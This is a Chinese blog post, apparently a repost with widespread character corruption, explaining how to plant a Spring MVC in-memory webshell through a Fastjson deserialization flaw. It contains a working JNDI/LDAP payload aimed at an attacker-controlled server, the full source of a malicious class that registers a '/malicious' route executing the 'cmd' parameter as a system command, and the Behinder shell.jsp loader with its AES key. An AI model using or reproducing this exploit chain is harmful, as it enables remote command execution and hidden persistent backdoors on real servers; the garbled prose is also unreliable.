关于java:利用-Fastjson-注入-Spring-内存马太秀了~

5次阅读

共计 10880 个字符,预计需要花费 28 分钟才能阅读完成。

本文仅供参考学习应用。

1 根底

实际上 java 内存马的注入曾经有很多形式了,我在学习中入手钻研并写了一下针对 spring mvc 利用的内存马。

一般来说实现无文件落地的 java 内存马注入,通常是利用反序列化破绽,所以入手写了一个 spring mvc 的后端,并间接给了一个 fastjson 反序列化的页面,在假设的攻打中,通过 jndi 的利用形式让 web 端加载歹意类,注入 controller。

所有工作都是站在伟人的肩膀上,参考文章均在最初列出。

1.1 fastjson 反序列化和 JNDI

对于 fastjson 破绽产生的具体原理已有很多剖析文章,这里应用的是 fastjson1.24 版本,poc 非常简单

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

当 web 端应用 fastjson 对下面的 json 进行反序列化时,受到 @type 注解的批示,会通过反射创立 com.sun.rowset.JdbcRowSetImpl 类的对象,基于 fastjson 的机制 web 端还会主动调用这个对象外部的 set 办法,最初触发 JdbcRowSetImpl 类中的特定 set 办法,拜访 dataSourceName 指定的服务端,并下载执行服务端指定的 class 文件,细节这里不做更具体的开展。

1.2 向 spring mvc 注入 controller

学习了 listener、filter、servlet 的内存马后,想到看一看 spring 相干的内存马,但没有发现间接给出源代码的 controller 型内存马,所以学习并入手实现了一下(spring 版本 4.2.6.RELEASE)。

首先站在伟人的肩膀上,能够晓得 spring mvc 我的项目运行后,依然能够动静增加 controller。一般的 controller 写法如下

通过 @RequestMapping 注解表明 url 和申请办法,编译部署后,spring 会依据这个注解注册好相应的 controller。动静注入 controller 的外围步骤如下

public class InjectToController{public InjectToController(){
    // 1. 利用 spring 外部办法获取 context
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    // 2. 从 context 中取得 RequestMappingHandlerMapping 的实例
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    // 3. 通过反射取得自定义 controller 中的 Method 对象
    Method method2 = InjectToController.class.getMethod("test");
    // 4. 定义拜访 controller 的 URL 地址
    PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
    // 5. 定义容许拜访 controller 的 HTTP 办法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    // 6. 在内存中动静注册 controller
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    InjectToController injectToController = new InjectToController("aaa");
    mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    public void test() {xxx}
}
  • 步骤 1 中的 context 能够了解为 web 端解决这个申请时,以后线程内所领有的各种环境信息和资源
  • 步骤 2 中获取的 mappingHandlerMapping 对象是用于注册 controller 的
  • 步骤 3 中的反射是为了取得 test 这个 Method 对象,以便动静注册 controller 时,告知接管到给定 url 门路的申请后,用那个 Method 来解决,其中 InjectToController 类就是咱们的歹意类
  • 步骤 4 定义的 url 对象是为了指定注入 url,这个 url 就是咱们的内存马门路
  • 步骤 5 是告知注入的 url 容许的申请办法
  • 步骤 6 中 RequestMappingInfo 填入的信息相似于 @RequestMapping 注解中的信息,即 url、容许的申请办法等。是真正注册 controller 的步骤
  • InjectToController 这个类就是咱们的歹意类,其中定义了 test 办法,这个办法内存在执行命令,当然也能够替换成冰蝎、哥斯拉的 webshell 外围代码,以便应用这两个工具。InjectToController 的残缺代码在前面的章节可见

1.3 获取 request 和 response

罕用的 jsp 一句话 webshell 代码如下

java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));

因为 jsp 文件被执行时,会主动取得了 request 这个资源,所以一句话木马不须要思考如何获取 request 这个对象。但在咱们注入 controller 的流程中,歹意 java 类的编译是由攻击者实现的,web 端间接执行编译好的 class 文件,显然不可能像下面图片中用注解的形式在让 test 办法 (InjectToController 中的) 的参数自带 request,所以再一次站在伟人的肩膀上 https://www.jianshu.com/p/89b…,通过 spring 的外部办法获取到 request 和 response 对象

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

如果 spring mvc 我的项目部署在 tomcat 下,也能够用针对 tomcat 获取 requeset 的办法,例如从 ThreadLocal、Mbean 和 Thread.getCurrentThread 获取(前方参考文献中已给出)

1.4 阻止反复增加 controller (非必须)

通过调试发现,下面获取的 mappingHandlerMapping 中有一个 mappingRegistry 成员对象,而该对象下的 urlLookup 属性保留了曾经注册的所有 url 门路,对 mappingHandlerMapping 进一步后发现,以上对象和属性都是公有的,且 mappingRegistry 并非 mappingHandlerMapping 中创立的,而是来自于基类 AbstractHandlerMethodMapping。

所以对 AbstractHandlerMethodMapping 的源码进行了一番查看,发现通过其 getMappingRegistry 办法能够获取 mappingRegistry,而 urlLookup 是其内部类 MappingRegistry 的公有属性,能够通过反射获取。

反射获取 urlLookup 和判断咱们给定的 url 是否被注册的代码块如下

// 获取 abstractHandlerMethodMapping 对象,以便反射调用其 getMappingRegistry 办法
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// 反射调用 getMappingRegistry 办法
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// 反射获取 urlLookup 属性
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// 判断咱们想要注入的门路是否被曾经存在
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){String urlPath = (String) urlIterator.next();
    if ("/malicious".equals(urlPath)){System.out.println("url 已存在");
        return;
    }
}

2 试验

2.1 搞个 spring mvc 的测试环境

这里用 idea 做了一个 maven+spring mvc+tomcat 的测试环境,不便随时换 spring、fastjson 和 tomcat 的版本。这个 Web 利用的性能有两个:

  • /home/postjson,能够输出 json 并 POST 给 /home/readjson
  • /home/readjson,应用 fastjson 解析 json,触发反序列化的 rce

举荐一个 Spring Boot 基础教程及实战示例:
https://github.com/javastacks…

2.2 歹意类源代码

通过 JNDI 注入让服务端执行的代码如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从以后上下文环境中取得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 可选步骤,判断 url 是否存在
        AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
        Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
        field.setAccessible(true);
        Map urlLookup = (Map) field.get(mappingRegistry);
        Iterator urlIterator = urlLookup.keySet().iterator();
        List<String> urls = new ArrayList();
        while (urlIterator.hasNext()){String urlPath = (String) urlIterator.next();
            if ("/malicious".equals(urlPath)){System.out.println("url 已存在");
                return;
            }
        }
        // 可选步骤,判断 url 是否存在
        // 2. 通过反射取得自定义 controller 中 test 的 Method 对象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定义拜访 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定义容许拜访 controller 的 HTTP 办法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动静注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创立用于解决申请的对象,退出“aaa”参数是为了触发第二个构造函数防止有限循环
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二个构造函数
    public InjectToController(String aaa) {}
    // controller 指定的解决办法
    public void test() throws  IOException{
        // 获取 request 和 response 对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 获取 cmd 参数并执行命令
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}
  • 因为 fastjson 反序列化时,主动下载并执行编译好的 class 文件,所以要在构造函数中写入注册 controller 的步骤
  • 反序列化时主动触发的构造函数是第一个构造函数,因为没有带参数
  • 因为 registerMapping 办法注册 controller 时须要给一个对象和这个对象外部的解决办法,而 web 端只下载了 InjectToController 这个类,再来一次 JNDI 去获取一个歹意类属实麻烦,所以用了InjectToController injectToController = new InjectToController("aaa");,这样就会进入第二个构造函数,而不会进入第一个构造函数有限循环。

2.3 测试

启动 spring mvc 我的项目,拜访 / 我的项目 /malicious 门路,返回 404

应用 marshalsec 开一个 ldap 的服务,并指定 /Exploit 这个 reference 对应的门路为 192.168.x.x:8090/#InjectToController,再用 python 开一个 web 文件服务器

编译 InjectToController.java,将编译好的 class 文件放到 python 开的 web 文件服务根目录下,拜访 / 我的项目 /home/postjson,并提交 payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

payload 提交后,会被 fastjson 进行反序列化,在这个过程中会触发 JdbcRowSetImpl 中的 connect 函数,并依据给定的 dataSourceName 发动 LDAP 申请,从开启的给定的 LDAP 服务端 (1389 端口) 取得歹意类的地址,再去下载并执行歹意类(8090 端口),能够看到 payload 攻打胜利了

拜访 /malicious 这个 uri 确定一下

2.4 注入菜刀 webshell

只须要找一匹稳固的 jsp 菜刀马,稍加革新:

  • 把菜刀马的函数定义放在歹意类中
  • 在注入的 controller 代码中退出菜刀马的判断和执行局部(下面的 test 办法中)
  • 留神 jsp 菜刀马最初的 out.print(sb.toString()); 改为 response.getWriter().write(sb.toString());response.getWriter().flush();

2.5 注入冰蝎代码

2.5.1 冰蝎的服务端 –shell.jsp

首先来看看冰蝎的 shell.jsp 文件,为了不便浏览,稍作加了一些换行

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{U(ClassLoader c){super(c);}  // 构造函数

    public Class g(byte []b){return super.defineClass(b,0,b.length);  // 调用父类的 defineClass 函数
    }
}
%>

<%
if (request.getMethod().equals("POST"))
    {
        String k="e45e329feb5d925b";
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
        new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

能够看出,该 jsp 的外围性能有三点

  • 为了不便地应用 defineClass,创立了 U 这个类继承 ClassLoader;
  • 应用 java 自带的包,解密 AES 加密数据
  • 应用 defineClass 加载 AES 解密后字节码,取得一个歹意类,利用 newInstance 创立这个类的实例,并调用 equals 办法
2.5.2 pageContext

shell.jsp 中须要特地留神 pageContext 这个对象,它是 jsp 文件运行过程中自带的对象,能够获取 request/response/session 这三个蕴含页面信息的重要对象,对应 pageContext 有 getRequest/getResponse/getSession 办法。学艺不精,临时没有找到从 spring 和 tomcat 中获取 pageContext 的办法。

然而从冰蝎的作者给出的提醒能够晓得,冰蝎 3.0 bata7 之后不在依赖 pageContext,见 github issue

又从源码确认了一下,在 equal 函数中传入的 object 有 request/response/session 对象即可

所以注入的 controller 代码中,能够将 pageContext 换成一个 Map,手动增加 key 和 value 即可,后面的歹意类源代码中曾经给出了如何获取 request/response/session

2.5.3 继承 ClassLoader 和调用 defineClass

在 2.5.1 中提到须要继承 ClassLoader 后调用父类的 defineClass,当然也能够用反射,然而这样更不便而已。对歹意类稍加革新,继承 ClassLoader、定义新的构造函数、减少 g 函数、增加冰蝎的服务端代码

特地须要留神的是红框内的 ClassLoader.getSystemClassLoader(),如果随便给定某个继承自 ClassLoader 的类,可能会呈现报错java.lang.LinkageError : attempted duplicate class definition for name。这是因为须要应用 getSystemClassLoader() 获取创立 ClassLoader 时须要增加委派父级。

2.5.4 上冰蝎

参考文献:

https://www.anquanke.com/post…\
https://www.jianshu.com/p/89b…\
https://github.com/mbechler/m…\
https://lalajun.github.io/201… 反序列化 -fastjson/\
https://github.com/rebeyond/B…\
https://blog.csdn.net/cumudi0…\
https://github.com/rebeyond/B…\


作者:bitterz \
地址:https://www.cnblogs.com/bitterz/

近期热文举荐:

1.1,000+ 道 Java 面试题及答案整顿(2021 最新版)

2. 别在再满屏的 if/ else 了,试试策略模式,真香!!

3. 卧槽!Java 中的 xx ≠ null 是什么新语法?

4.Spring Boot 2.5 重磅公布,光明模式太炸了!

5.《Java 开发手册(嵩山版)》最新公布,速速下载!

感觉不错,别忘了顺手点赞 + 转发哦!

正文完
 0